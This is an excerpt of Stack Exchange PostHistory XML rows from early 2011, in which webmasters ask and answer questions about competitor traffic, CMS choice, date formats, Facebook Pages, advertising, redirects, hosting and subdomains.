  <row Id="20668" PostHistoryTypeId="2" PostId="9383" RevisionGUID="522b96a9-d998-4341-9b1e-6cdcd68be0d3" CreationDate="2011-02-19T16:21:09.113" UserId="4954" Text="yes, there is... in a way :)&#xD;&#xA;&#xD;&#xA;if they have at least 1 Google product on their page (except Analytics, or they share Analytics data), you can use this: https://www.google.com/adplanner" />
  <row Id="20669" PostHistoryTypeId="2" PostId="9380" RevisionGUID="1384871e-f489-4c15-b3c2-f5b6eae1c695" CreationDate="2011-02-18T16:03:29.397" UserDisplayName="user160820" Text="Is there a possibility to get competitor website traffic info?" />
  <row Id="20670" PostHistoryTypeId="1" PostId="9380" RevisionGUID="1384871e-f489-4c15-b3c2-f5b6eae1c695" CreationDate="2011-02-18T16:03:29.397" UserDisplayName="user160820" Text="is it possible to get info about competitor traffic?" />
  <row Id="20671" PostHistoryTypeId="3" PostId="9380" RevisionGUID="1384871e-f489-4c15-b3c2-f5b6eae1c695" CreationDate="2011-02-18T16:03:29.397" UserDisplayName="user160820" Text="&lt;seo&gt;" />
  <row Id="20672" PostHistoryTypeId="17" PostId="9380" RevisionGUID="1a8d7619-456b-478f-a485-6fe1c44d7b97" CreationDate="2011-02-19T20:31:25.197" UserId="-1" Comment="from http://stackoverflow.com/questions/5043565/is-it-possible-to-get-info-about-competitor-traffic" Text="" />
  <row Id="20673" PostHistoryTypeId="2" PostId="9384" RevisionGUID="c1251498-baab-475c-955b-4462b90d032b" CreationDate="2011-02-19T20:36:40.200" UserId="5514" Text="I believe in 2.8 the only way to reset metrics would be to clone the campaign and relink. You could also leave max impressions blank and just monitor to make sure it doesn't go over, and then pull your report to show impressions per month or whatever interval you like." />
  <row Id="20674" PostHistoryTypeId="2" PostId="9385" RevisionGUID="7e38761c-d5db-441e-b29e-f09e0bbadde6" CreationDate="2011-02-19T20:56:00.307" UserId="4787" Text="Not recommended. You haven't provided much information, but I can't think of a situation where this would be a good idea. Here are some potential issues:&#xD;&#xA;&#xD;&#xA; - Each CMS probably works best if it is&#xD;&#xA;   the only one on the site and you&#xD;&#xA;   might end up with conflicting&#xD;&#xA;   requirements if you try to combine them (e.g. in the rules for&#xD;&#xA;   rewriting URLs).&#xD;&#xA; - It will be a lot of (messy) work to integrate&#xD;&#xA;   different CMS's for single sign on.&#xD;&#xA;   This problem is multiplied if your&#xD;&#xA;   readers will also log in at some&#xD;&#xA;   point.&#xD;&#xA; - As John said, maintenance of a single&#xD;&#xA;   CMS is work. Maintaining multiple&#xD;&#xA;   CMS's that have been integrated&#xD;&#xA;   sounds like a nightmare.&#xD;&#xA; - You will have to learn the ins and outs multiple&#xD;&#xA;   CMS's. To reach proficiency in one&#xD;&#xA;   will take time. You will probably&#xD;&#xA;   never *master* more than one.&#xD;&#xA; - You have said nothing about your&#xD;&#xA;   particular application, but I worry&#xD;&#xA;   about the complexity of what you're&#xD;&#xA;   building if none of the (these days&#xD;&#xA;   very powerful) CMS's is sufficient.&#xD;&#xA;&#xD;&#xA;You will be much better off mastering a single CMS and extending it to meet your needs. Wordpress or Drupal can both do almost anything. Wordpress is easier to start with, but is definitely blog centric. Drupal is more general.&#xD;&#xA;&#xD;&#xA;Within each of these platforms there is a lot of flexibility to add different functionality through extensibility and plugins, either your own custom stuff, or freely available options (e.g. in the Wordpress case, forum components like SimplePress and bbPress).&#xD;&#xA;&#xD;&#xA;I also have to say that the fact that you are evaluating your requirements against a set of CMS &quot;features&quot; suggests that you alone may not have the technical depth (yet) to take on a project of a complexity that won't be satisfied by any one of them. Consider approaching a Wordpress or Drupal developer and ask them whether your requirements can be met with either of those platforms.&#xD;&#xA;" />
  <row Id="20675" PostHistoryTypeId="2" PostId="9386" RevisionGUID="90b40523-c5f0-453b-aece-770a6c44fb0f" CreationDate="2011-02-19T21:19:00.950" UserId="5516" Text="We're building a website for a startup and we encourage using the &quot;timeago&quot; format for displaying dates (i.e. less than a minute ago, about 5 minutes ago, about a month ago, etc.) but the client argues that it's not used in the US, that people are just not used to it. I can make a list of hundreds of sites using it, but of course, I'm a geek. So in adition to the main question, what are the pros and cons of the &quot;timeago&quot; date format? " />
  <row Id="20676" PostHistoryTypeId="1" PostId="9386" RevisionGUID="90b40523-c5f0-453b-aece-770a6c44fb0f" CreationDate="2011-02-19T21:19:00.950" UserId="5516" Text="Is the timeago date format appropiate for a website?" />
  <row Id="20677" PostHistoryTypeId="3" PostId="9386" RevisionGUID="90b40523-c5f0-453b-aece-770a6c44fb0f" CreationDate="2011-02-19T21:19:00.950" UserId="5516" Text="&lt;gui&gt;" />
  <row Id="20678" PostHistoryTypeId="2" PostId="9387" RevisionGUID="d24cff43-41e1-4c29-9cde-a97e55eb5c20" CreationDate="2011-02-19T21:59:14.190" UserId="5514" Text="For the sake of simplicity, no, don't do it. One CMS per IP at most." />
  <row Id="20679" PostHistoryTypeId="2" PostId="9388" RevisionGUID="4054711e-556a-4759-b39c-9fd21bc42655" CreationDate="2011-02-19T22:00:53.620" UserId="1253" Text="I guess they ever heard of Facebook or Twitter? Wait, nobody uses those.&#xD;&#xA;&#xD;&#xA;If that's not good enough for them then it's a losing battle. Let them have their way on move on." />
  <row Id="20680" PostHistoryTypeId="6" PostId="5487" RevisionGUID="48c6b6ee-2f73-4366-9ca9-a5893a6bc08f" CreationDate="2011-02-19T22:02:37.350" UserId="1253" Comment="edited tags" Text="&lt;advertising&gt;&lt;openx&gt;" />
  <row Id="20681" PostHistoryTypeId="2" PostId="9389" RevisionGUID="7bc2f6a8-001e-4947-a9f9-ceb9300386f7" CreationDate="2011-02-19T22:44:07.427" UserId="5056" Text="I created a [Project Management Stack Exchange Facebook Page]() to help promote the new [Project Management Stack Exchange Site](http://pm.stackexchange.com).&#xD;&#xA;&#xD;&#xA;One of the users suggested a Facebook Group instead.  I use Facebook, and I've searched the help pages, but it's not immediately clear to me what the advantages and disadvantages are.&#xD;&#xA;&#xD;&#xA;Can you provide a list of uses for Groups and uses for Facebook Pages and perhaps some links to resources that help differentiate one from the other?" />
  <row Id="20682" PostHistoryTypeId="1" PostId="9389" RevisionGUID="7bc2f6a8-001e-4947-a9f9-ceb9300386f7" CreationDate="2011-02-19T22:44:07.427" UserId="5056" Text="What is the difference between a Facebook Group and a Facebook Page" />
  <row Id="20683" PostHistoryTypeId="3" PostId="9389" RevisionGUID="7bc2f6a8-001e-4947-a9f9-ceb9300386f7" CreationDate="2011-02-19T22:44:07.427" UserId="5056" Text="&lt;facebook&gt;&lt;marketing&gt;&lt;social-media&gt;&lt;website-promotion&gt;" />
  <row Id="20684" PostHistoryTypeId="2" PostId="9390" RevisionGUID="8f1247cf-aac2-4c73-9425-60617aebbded" CreationDate="2011-02-19T23:11:22.033" UserId="5517" Text="Group:&#xD;&#xA;&#xD;&#xA; - Users are 'members'&#xD;&#xA; - Chat with group members (new)&#xD;&#xA; - You control your group's privacy settings, and only members can add friends to the group.&#xD;&#xA; - A topic meant to collect people who&#xD;&#xA;   have the same interest and to discuss&#xD;&#xA;   it.&#xD;&#xA; - Forums&#xD;&#xA;&#xD;&#xA;Page:&#xD;&#xA;&#xD;&#xA; - Users are 'fans'&#xD;&#xA; - Anyone can like this.&#xD;&#xA; - Arbitrary things (ie Toast, Lint, Pokemon) that people can 'like'&#xD;&#xA; - Just a wall&#xD;&#xA;&#xD;&#xA;You probably want a page unless you think there will be more controlled discussion with forums. For quick user interaction, they can just 'like' your page instead of having to join a group.&#xD;&#xA;" />
  <row Id="20685" PostHistoryTypeId="2" PostId="9391" RevisionGUID="5a82bd70-58b0-4e6a-9044-ad12e1b1b175" CreationDate="2011-02-19T23:14:17.913" UserId="5056" Text="I stumbled upon the answer I was looking for on [Search Engine Journal - Facebook Group vs Facebook Fan Page.  What's Better?](http://www.searchenginejournal.com/facebook-group-vs-facebook-fan-page-whats-better/7761/).&#xD;&#xA;&#xD;&#xA;The article has a table that lists key features and whether or not the particular platform supports the feature. &#xD;&#xA;&#xD;&#xA;The main advantage I see with Facebook Groups is that it may be easier to market a Group virally than Fan Page, as bulk invites can be sent on behalf of a Group.&#xD;&#xA;&#xD;&#xA;However, Fan Pages have analytics tools to measure traffic, support advertising, and supports the addition of applications.  They also have pretty URLs.  You can also create events.&#xD;&#xA;&#xD;&#xA;In this case, I feel like I made the right choice in choosing the Fan Page." />
  <row Id="20686" PostHistoryTypeId="2" PostId="9392" RevisionGUID="53e68b1f-e920-4c1f-85c9-178c5858e106" CreationDate="2011-02-19T23:17:05.730" UserId="5517" Text="PRO: Human-friendly relative format. People won't need to figure out how long ago it was.&#xD;&#xA;&#xD;&#xA;CON: People may have trouble thinking about /when/ it actually occurred.&#xD;&#xA;&#xD;&#xA;Recommendation: Use 'timeago' for your main date format, but include the timestamp somewhere." />
  <row Id="20687" PostHistoryTypeId="25" PostId="9386" RevisionGUID="e3c62ab5-405d-4d28-b85e-6ebd7b166f05" CreationDate="2011-02-19T23:22:42.490" Comment="http://twitter.com/#!/StackWebmasters/status/39102606064226305" />
  <row Id="20688" PostHistoryTypeId="2" PostId="9393" RevisionGUID="72360f99-7571-42f1-869f-29d5aaa8c2e6" CreationDate="2011-02-20T00:01:59.540" UserDisplayName="user5519" Text="Id like to know which are the best Pay-Per-View advertising choice for my website, I wouldn't like to use AdSense since I'd like to work with more than 1company if its possible. and I would like to plan everything before I publish my site, and google has to approve your site... so, would you suggest me any other?" />
  <row Id="20689" PostHistoryTypeId="1" PostId="9393" RevisionGUID="72360f99-7571-42f1-869f-29d5aaa8c2e6" CreationDate="2011-02-20T00:01:59.540" UserDisplayName="user5519" Text="Which are the best Pay-Per-View advertisement for my website?" />
  <row Id="20690" PostHistoryTypeId="3" PostId="9393" RevisionGUID="72360f99-7571-42f1-869f-29d5aaa8c2e6" CreationDate="2011-02-20T00:01:59.540" UserDisplayName="user5519" Text="&lt;google&gt;&lt;advertising&gt;&lt;google-adsense&gt;&lt;ads&gt;" />
  <row Id="20691" PostHistoryTypeId="2" PostId="9394" RevisionGUID="381a1a7d-9270-4052-b386-d0f129a0c6e5" CreationDate="2011-02-20T00:02:57.697" UserId="5518" Text="If you are interested in a free load testing tool, check out our Fiddler extension called [StresStimulus][1]. It replays recorded sessions with any number of virtual users and  reports detailed performance metrics per request and for the entire test case. Graphs show how performance responds to various load levels. It runs from Windows machines against any HTTP server.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stresstimulus.stimulustechnology.com" />
  <row Id="20692" PostHistoryTypeId="2" PostId="9395" RevisionGUID="2464f13b-d0f2-4e7f-abbb-a4362f75aa41" CreationDate="2011-02-20T00:23:52.407" UserId="2293" Text="I agree with previous answers (Christopher and user5514) as they state HTML5 is becoming a new buzzword and usually misenterpreted.&#xD;&#xA;&#xD;&#xA;As a WHATWG member I feel the urge to point what HTML5 is and what isn't in short.&#xD;&#xA;&#xD;&#xA;HTML5 is a new technology definition, intended to turn into a standard (perhaps when this happen for real, I mean, HTML5 proposal becomes a W3C recommendation, too much time passed).&#xD;&#xA;&#xD;&#xA;In practice, HTML5 is more than new tags, properties and Doctype. These things (Doctype, tags, properties) are just part of it. HTML5 also defines a lot of new interfaces on Document Object Model, and those can be used with any scripting language that works on or produce HTML5 documents (javascript, vbscript, PHP DOM extension...).&#xD;&#xA;&#xD;&#xA;Another important feature is the web related technologies interoperability (SVG, canvas, MathML, Ruby Notation...).&#xD;&#xA;&#xD;&#xA;When analizing a new &quot;HTML5&quot; website, despite it contains only &quot;old&quot; tags, it can use a new interface on scripting part.&#xD;&#xA;&#xD;&#xA;Ah, another point that worths to mention is: we can define new standards. On the other hand, it should worth nothing if there is no browser support - what makes the standards work in the wild.&#xD;&#xA;&#xD;&#xA;Keep an eye into this, and have nice HTML5 experiences." />
  <row Id="20693" PostHistoryTypeId="2" PostId="9396" RevisionGUID="fb68b1c7-1369-40c9-8301-5573daed4f8d" CreationDate="2011-02-20T00:54:57.067" UserId="5127" Text="I developed [w3roi][1], which is a PPC ad tracking service with a 30 day money back guarantee, so it's essentially free to try.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.w3roi.com" />
  <row Id="20694" PostHistoryTypeId="2" PostId="9397" RevisionGUID="06a2ef8f-740f-421f-b466-2168e536a1f8" CreationDate="2011-02-20T00:59:44.937" UserId="5127" Text="Unless you have the budget for the truly high-end tracking platforms big corp uses, the best tools for analytics, conversion tracking and A/B testing are specialized specific services. &#xD;&#xA;&#xD;&#xA;There's [MixPanel](http://mixpanel.com/), [KissMetrics](http://kissmetrics.com), [Performable](http://www.performable.com) and [w3roi](http://www.w3roi.com)* for the conversion/event/revenue tracking side. &#xD;&#xA;&#xD;&#xA;Check out [Visual Website Optimizer](http://visualwebsiteoptimizer.com/), [Optimizely](http://www.optimizely.com/), [Unbounce](http://www.unbounce.com) and of course [Google Website Optimizer](http://www.google.com/websiteoptimizer) for split testing.&#xD;&#xA;&#xD;&#xA;`*` Disclaimer: w3roi's a tool I built for my own needs, but it's relevant so I mention it." />
  <row Id="20695" PostHistoryTypeId="5" PostId="9391" RevisionGUID="e68fbe23-e870-4917-b247-b565e5014618" CreationDate="2011-02-20T01:02:49.800" UserId="5056" Comment="deleted 139 characters in body" Text="[Search Engine Journal - Facebook Group vs Facebook Fan Page.  What's Better?](http://www.searchenginejournal.com/facebook-group-vs-facebook-fan-page-whats-better/7761/) has a table that lists key features and whether or not the particular platform supports the feature. &#xD;&#xA;&#xD;&#xA;The main advantage I see with Facebook Groups is that it may be easier to market a Group virally than Fan Page, as bulk invites can be sent on behalf of a Group.&#xD;&#xA;&#xD;&#xA;However, Fan Pages have analytics tools to measure traffic, support advertising, and supports the addition of applications.  They also have pretty URLs.  You can also create events.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="20700" PostHistoryTypeId="25" PostId="9389" RevisionGUID="4d6171a8-2dc8-4316-a7fc-170dc3bf4be8" CreationDate="2011-02-20T02:22:43.317" Comment="http://twitter.com/#!/StackWebmasters/status/39147904983764992" />
  <row Id="20704" PostHistoryTypeId="2" PostId="9400" RevisionGUID="420074f7-f49f-48af-a9aa-ce4d71013ebf" CreationDate="2011-02-20T02:42:40.443" UserDisplayName="Karim" Text="I've put in place lots of different 301 rules to deal with numerous url changes.&#xD;&#xA;&#xD;&#xA;And for certain URLS there are 3-4 different 301 redirects landing the visitors to the new URL.&#xD;&#xA;&#xD;&#xA;I heard that 301 loses pagerank/linkjuice. ALl the 301 are onsite for the same domain. With a mix of php 301s and htaccess 301s.&#xD;&#xA;&#xD;&#xA;so for instance&#xD;&#xA;&#xD;&#xA;articles/news.php?id=2 ---&gt; articles/blog.php?id=2  [filename change]&#xD;&#xA;articles/* ---&gt; /*   [subdir to root]&#xD;&#xA;/blog.php?id=2 ---&gt; /title-of-post [mod rewrite url change]&#xD;&#xA;&#xD;&#xA;so if you were to visit /articles/news.php?id=2 there will be two 301 redirects until you land on the /yellow-wellington-boots/, my question is does google see the intermediate redirects, or just the final page the 301's redirect to." />
  <row Id="20705" PostHistoryTypeId="1" PostId="9400" RevisionGUID="420074f7-f49f-48af-a9aa-ce4d71013ebf" CreationDate="2011-02-20T02:42:40.443" UserDisplayName="Karim" Text="Multiple 301 redirects, do search engines/viewers see them all?" />
  <row Id="20706" PostHistoryTypeId="3" PostId="9400" RevisionGUID="420074f7-f49f-48af-a9aa-ce4d71013ebf" CreationDate="2011-02-20T02:42:40.443" UserDisplayName="Karim" Text="&lt;server&gt;&lt;htaccess&gt;&lt;redirects&gt;" />
  <row Id="20707" PostHistoryTypeId="17" PostId="9400" RevisionGUID="a15967e3-c58b-48f1-a205-083c1e5762ed" CreationDate="2011-02-20T03:33:41.230" UserId="-1" Comment="from http://serverfault.com/questions/237749/multiple-301-redirects-do-search-engines-viewers-see-them-all" Text="" />
  <row Id="20708" PostHistoryTypeId="2" PostId="9401" RevisionGUID="ff32b0bb-71e3-4380-8c02-d01472ef91aa" CreationDate="2011-02-20T04:02:56.177" UserDisplayName="alexBrand" Text="I am thinking of starting a website, but for it to work, I need a ruby script constantly running in the background. &#xD;&#xA;&#xD;&#xA;Can you recommend any web hosts that allow this?&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="20709" PostHistoryTypeId="1" PostId="9401" RevisionGUID="ff32b0bb-71e3-4380-8c02-d01472ef91aa" CreationDate="2011-02-20T04:02:56.177" UserDisplayName="alexBrand" Text="Web hosting that allows background processes?" />
  <row Id="20710" PostHistoryTypeId="3" PostId="9401" RevisionGUID="ff32b0bb-71e3-4380-8c02-d01472ef91aa" CreationDate="2011-02-20T04:02:56.177" UserDisplayName="alexBrand" Text="&lt;web-development&gt;&lt;web-hosting&gt;" />
  <row Id="20711" PostHistoryTypeId="17" PostId="9401" RevisionGUID="de065ba8-8f58-4d0a-9325-0bb65df0f440" CreationDate="2011-02-20T04:13:21.793" UserId="-1" Comment="from http://stackoverflow.com/questions/5055168/web-hosting-that-allows-background-processes" Text="" />
  <row Id="20712" PostHistoryTypeId="2" PostId="9402" RevisionGUID="3b59da29-0601-4daa-bde7-7bbde15a64d6" CreationDate="2011-02-20T04:18:28.040" UserId="5524" Text="Any host which allows you to have crontab entries (use @reboot as the start time) should work unless your process specifically breaks their Terms of Service in some way." />
  <row Id="20713" PostHistoryTypeId="5" PostId="702" RevisionGUID="c51a32c1-0574-4c55-a97e-5cfe3a14679f" CreationDate="2011-02-20T04:19:06.467" UserId="5127" Comment="Add more tracking services to this great list" Text="One of them is Shaun Inman's [Mint][1].&#xD;&#xA;&#xD;&#xA;Then:&#xD;&#xA;&#xD;&#xA; 1. [VisiStat][2]&#xD;&#xA; 2. [SiteCatalyst][3]&#xD;&#xA; 3. [Webtrends][4]&#xD;&#xA; 4. [AWStats][5]&#xD;&#xA; 5. [ClickTraks][6]&#xD;&#xA; 6. [Coradiant][7]&#xD;&#xA; 7. [Unica][8]&#xD;&#xA; 8. [pMetrics][9]&#xD;&#xA; 9. [Clicky][10]&#xD;&#xA; 10. [iWebTrack][11]&#xD;&#xA; 11. [OneStat][12]&#xD;&#xA; 12. [MetaTraffic][13]&#xD;&#xA; 13. [Metronome][14]&#xD;&#xA; 14. [Clicktale][15]&#xD;&#xA; 15. [Reinvigorate][16]&#xD;&#xA; 16. [Observer][17]&#xD;&#xA; 18. [W3Counter][18]&#xD;&#xA; 19. [KISSMetrics][19]&#xD;&#xA; 20. [MixPanel][20]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://haveamint.com/&#xD;&#xA;  [2]: http://www.visistat.com/&#xD;&#xA;  [3]: http://www.omniture.com/en/products/online_analytics/sitecatalyst&#xD;&#xA;  [4]: http://www.webtrends.com/Products/Analytics&#xD;&#xA;  [5]: http://awstats.sourceforge.net/&#xD;&#xA;  [6]: http://www.lyris.com/solutions/lyris-hq/web-analytics/&#xD;&#xA;  [7]: http://www.coradiant.com/products/analytics_in_a_box.htm&#xD;&#xA;  [8]: http://www.unica.com/products/enterprise-web-analytics.htm&#xD;&#xA;  [9]: http://pmetrics.performancing.com/&#xD;&#xA;  [10]: http://www.getclicky.com/&#xD;&#xA;  [11]: http://www.iwebtrack.com/reports.asp&#xD;&#xA;  [12]: http://www.onestat.com/html/services.html&#xD;&#xA;  [13]: http://www.metasun.com/products/metatraffic/features.asp&#xD;&#xA;  [14]: http://www.metronomelabs.com/&#xD;&#xA;  [15]: http://www.clicktale.com/&#xD;&#xA;  [16]: http://www.reinvigorate.net/&#xD;&#xA;  [17]: http://observerapp.com/&#xD;&#xA;  [18]: http://www.w3counter.com&#xD;&#xA;  [19]: http://www.kissmetrics.com&#xD;&#xA;  [20]: http://www.mixpanel.com" />
  <row Id="20714" PostHistoryTypeId="24" PostId="702" RevisionGUID="2e73f2b5-7dbc-4f4f-8286-893da72c57af" CreationDate="2011-02-20T04:19:06.467" Comment="Proposed by 5127 approved by 1253 edit id of 26" />
  <row Id="20715" PostHistoryTypeId="5" PostId="4589" RevisionGUID="6b273829-be66-419f-8546-f4beba80a8f3" CreationDate="2011-02-20T04:19:24.440" UserId="5437" Comment="whois api link added" Text="there is a [whois xml api][1].  do a google search for it.  If you are looking for WHOIS for marketing (which is not allowed), then i would use a 3rd party.  If you do too many whois requests from an ip, then whois servers begin to block you.&#xD;&#xA;&#xD;&#xA;The xml services i have seen get around this. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.whoisxmlapi.com" />
  <row Id="20716" PostHistoryTypeId="24" PostId="4589" RevisionGUID="d14cafb2-d6e7-479d-9bd5-bfd1b18c62ed" CreationDate="2011-02-20T04:19:24.440" Comment="Proposed by 5437 approved by 1253 edit id of 25" />
  <row Id="20717" PostHistoryTypeId="2" PostId="9403" RevisionGUID="5c618353-b422-4ef1-89e3-fdd7f187445d" CreationDate="2011-02-20T04:22:09.270" UserId="5525" Text="  &#xD;&#xA;  If you have VPS or dedicated hosting then you can set up cronjob for this.&lt;br/&gt;&#xD;&#xA;  Heroku lets you run cron job as [addon][1]  &lt;br/&gt;&#xD;&#xA;  [HostingRails][2] allows it. &lt;br/&gt;&#xD;&#xA;  EngineYard allows it too &lt;br/&gt;&#xD;&#xA;  I'm sure most others will do.&#xD;&#xA;&#xD;&#xA;  [1]: http://devcenter.heroku.com/articles/cron&#xD;&#xA;  [2]: http://www.hostingrails.com/Running-a-rake-task-from-cron" />
  <row Id="20718" PostHistoryTypeId="2" PostId="9404" RevisionGUID="1bf9c77a-21f4-461d-b06b-f344b0c509aa" CreationDate="2011-02-20T04:49:52.573" UserId="5013" Text="There are ways to get an idea of where their traffic comes from. Take a look at their meta keywords, if they have them, to see what keywords they may be targetting. Also get a look at the market they are trying to target.&#xD;&#xA;&#xD;&#xA;Take a look at their backlinks, too which can also give you an idea of what keywords they are chasing after.&#xD;&#xA;&#xD;&#xA;Tools like Alexa can help you get an idea what their market is and what keywords people are using to end up on their site. Don't stop at Alexa either, there are several others such as Quantcast that pick up totally different statistics.&#xD;&#xA;&#xD;&#xA;You won't be able to see anything as accurate as their Google Analytics account, but you will get an idea of what they are targetting. Once you do that, go to Google Analytics to see what kind of traffic their keywords get based on their SERP for each keyword." />
  <row Id="20719" PostHistoryTypeId="2" PostId="9405" RevisionGUID="51a6f03d-4676-49db-abce-2f8b9d3cea08" CreationDate="2011-02-20T04:59:17.227" UserId="5013" Text="GoDaddy only has medium trust for ASP.NET apps and you will need a high level of trust. Also, I've heard you can't run MSChart.exe with GoDaddy and a lot of people have left GoDaddy just because of this.&#xD;&#xA;&#xD;&#xA;On a side note, slightly unrelated, GoDaddy's hosting is absolutely terrible, but that's just my two cents." />
  <row Id="20720" PostHistoryTypeId="25" PostId="9401" RevisionGUID="607ee837-b762-48e1-a49c-78949fd02ba9" CreationDate="2011-02-20T05:22:43.217" Comment="http://twitter.com/#!/StackWebmasters/status/39193206331678721" />
  <row Id="20721" PostHistoryTypeId="2" PostId="9406" RevisionGUID="9c82f85d-70a6-4490-a79f-cac288535261" CreationDate="2011-02-20T08:09:07.427" UserDisplayName="user5527" Text="I am creating a site with quite a few services, such as a free account service, and of course a subdomain for my site's blog and then for article base and other related services, would having them all on subdomains be a good idea? Are there any caveats you are aware of in existing search engines for this?&#xD;&#xA;&#xD;&#xA;I believe mapping foo.example.com to example.com/foo to provide an alternative just in case is a good idea for sitemaps, I like to keep things clean." />
  <row Id="20722" PostHistoryTypeId="1" PostId="9406" RevisionGUID="9c82f85d-70a6-4490-a79f-cac288535261" CreationDate="2011-02-20T08:09:07.427" UserDisplayName="user5527" Text="Is a subdomain per service a good idea for SEO?" />
  <row Id="20723" PostHistoryTypeId="3" PostId="9406" RevisionGUID="9c82f85d-70a6-4490-a79f-cac288535261" CreationDate="2011-02-20T08:09:07.427" UserDisplayName="user5527" Text="&lt;seo&gt;&lt;subdomain&gt;&lt;duplicate-content&gt;" />
  <row Id="20724" PostHistoryTypeId="25" PostId="9400" RevisionGUID="894ae37a-0bae-4a91-9681-d3cb2454261c" CreationDate="2011-02-20T08:22:43.877" Comment="http://twitter.com/#!/StackWebmasters/status/39238507251773440" />
  <row Id="20733" PostHistoryTypeId="2" PostId="9411" RevisionGUID="5e01f4cb-52df-4adf-979e-29aa8564ceb3" CreationDate="2011-02-20T11:22:33.503" UserId="4803" Text="Using JavaScript, you can use the .innerHTML attribute to see if there is any HTML inside of the div after the GA_googleFillSlot(). &#xD;&#xA;&#xD;&#xA;And yes, the div tag supports both id and class attributes: click.&#xD;&#xA;&#xD;&#xA;For coding questions similar to this, please direct them to &lt;a href=&quot;http://stackoverflow.com/&quot;&gt;Stack Overflow&lt;/a&gt;." />
  <row Id="20735" PostHistoryTypeId="5" PostId="9411" RevisionGUID="cd6377c6-c457-43a7-a062-22046dad98b0" CreationDate="2011-02-20T11:28:18.160" UserId="4803" Comment="added 56 characters in body" Text="Using JavaScript, you can use the .innerHTML attribute to see if there is any HTML inside of the div after the GA_googleFillSlot(). &#xD;&#xA;&#xD;&#xA;And yes, the div tag supports both id and class attributes: &lt;a href=&quot;http://www.w3schools.com/tags/tag_div.asp&quot;&gt;click&lt;/a&gt;.&#xD;&#xA;&#xD;&#xA;For coding questions similar to this, please direct them to &lt;a href=&quot;http://stackoverflow.com/&quot;&gt;Stack Overflow&lt;/a&gt;." />
  <row Id="20736" PostHistoryTypeId="2" PostId="9412" RevisionGUID="86b9396f-e6d1-4439-8e0c-acbe8f13044e" CreationDate="2011-02-20T13:50:28.147" UserId="5117" Text="Here you will find some useful information:&#xD;&#xA;http://www.w3-edge.com/weblog/2011/02/optimize-social-media-button-performance/&#xD;&#xA;&#xD;&#xA;It explain how to speed-up things with various social buttons!&#xD;&#xA;&#xD;&#xA;It's an article of Frederic Townsend, of W3 Total Cache plugin for Wordpress. Very interisting reading." />
  <row Id="20737" PostHistoryTypeId="2" PostId="9413" RevisionGUID="5dd50c90-a77d-4141-8742-14bc7c69c9b2" CreationDate="2011-02-20T13:57:44.043" UserId="2490" Text="You can start with personal hosting with [arvixe][1] and upgrade it later if needed. Teh have unlimited sql 2008.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.arvixe.com/1042-3-3-3.html" />
  <row Id="20738" PostHistoryTypeId="2" PostId="9414" RevisionGUID="c1edccd9-7013-4e39-9e2e-054fd80af0f3" CreationDate="2011-02-20T14:00:53.980" UserId="2490" Text="[Arvixe][1] meets your requirements exactly &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.arvixe.com/1042-3-3-3.html" />
  <row Id="20739" PostHistoryTypeId="17" PostId="9416" RevisionGUID="952717c4-dc95-4793-a70c-5ed5129c92c7" CreationDate="2011-02-20T14:04:56.310" UserId="-1" Comment="from http://stackoverflow.com/questions/5056347/domain-held-at-one-registry-need-to-redirect-to-subdomain-on-my-own-hosting-prov/5056373#5056373" Text="" />
  <row Id="20740" PostHistoryTypeId="2" PostId="9416" RevisionGUID="a51fc0c7-d583-4ae0-85b3-eb407ae3b672" CreationDate="2011-02-20T10:13:48.960" UserDisplayName="Nick Haslam" Text="It depends on the functionality allowed by your hosting provider, but I'd imagine that Host Headers might be your solution.&#xD;&#xA;&#xD;&#xA;You'd get your domain (at the registry to point) to your hosting provider, and setup a host header(for your subdomain.domain.com address) and the site you want it to go to on your hosting provider could point to serve it.&#xD;&#xA;&#xD;&#xA;I'm pretty sure this is how IIS works with host headers.&#xD;&#xA;&#xD;&#xA;[Link detailing how...][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://support.microsoft.com/kb/190008" />
  <row Id="20741" PostHistoryTypeId="2" PostId="9415" RevisionGUID="ad33176e-2380-4c0e-9913-85f72142be4f" CreationDate="2011-02-20T10:07:25.890" UserDisplayName="Glinkot" Text="There are lots of questions around this general area, but I haven't seen one that exactly mirrors what I'd like to know.  It's per the title really.  My understanding (and what I'm told by my host) is the easiest thing is just to get the transfer key and bring the DNS across to my own hosting provider.  Also I'm told by my host this doesn't affect the client's ownership of the domain itself.&#xD;&#xA;&#xD;&#xA;Basically, I have a subdomain setup with the site (this has the same IP address as the top level domain).  So presumably just giving the other registrar that IP address will only refer it only to the TLD rather than the subdomain.  &#xD;&#xA;&#xD;&#xA;What's the easiest way to achieve this?  It's an asp.net site, I don't have a hosted directory on the client's account where I can code a redirect.&#xD;&#xA;&#xD;&#xA;Thanks all&#xD;&#xA;&#xD;&#xA;Mark&#xD;&#xA;&#xD;&#xA;" />
  <row Id="20742" PostHistoryTypeId="1" PostId="9415" RevisionGUID="ad33176e-2380-4c0e-9913-85f72142be4f" CreationDate="2011-02-20T10:07:25.890" UserDisplayName="Glinkot" Text="Domain held at one registry, need to redirect to subdomain on my own hosting provider" />
  <row Id="20743" PostHistoryTypeId="3" PostId="9415" RevisionGUID="ad33176e-2380-4c0e-9913-85f72142be4f" CreationDate="2011-02-20T10:07:25.890" UserDisplayName="Glinkot" Text="&lt;asp.net&gt;&lt;dns&gt;&lt;subdomain&gt;" />
  <row Id="20744" PostHistoryTypeId="17" PostId="9415" RevisionGUID="eb1ecfb4-ad44-4880-9d1a-b30dd16e97f0" CreationDate="2011-02-20T14:04:56.310" UserId="-1" Comment="from http://stackoverflow.com/questions/5056347/domain-held-at-one-registry-need-to-redirect-to-subdomain-on-my-own-hosting-prov" Text="" />
  <row Id="20752" PostHistoryTypeId="2" PostId="9418" RevisionGUID="c2cacfef-977e-426a-be60-6f34010af092" CreationDate="2011-02-20T15:33:44.260" UserId="4803" Text="Then your solution might just be a 301 redirect (SEO friendly) in the .htaccess file.&#xD;&#xA;&#xD;&#xA;&lt;a href=&quot;http://www.dannytalk.com/redirecting-in-plesk/&quot;&gt;Link&lt;/a&gt;" />
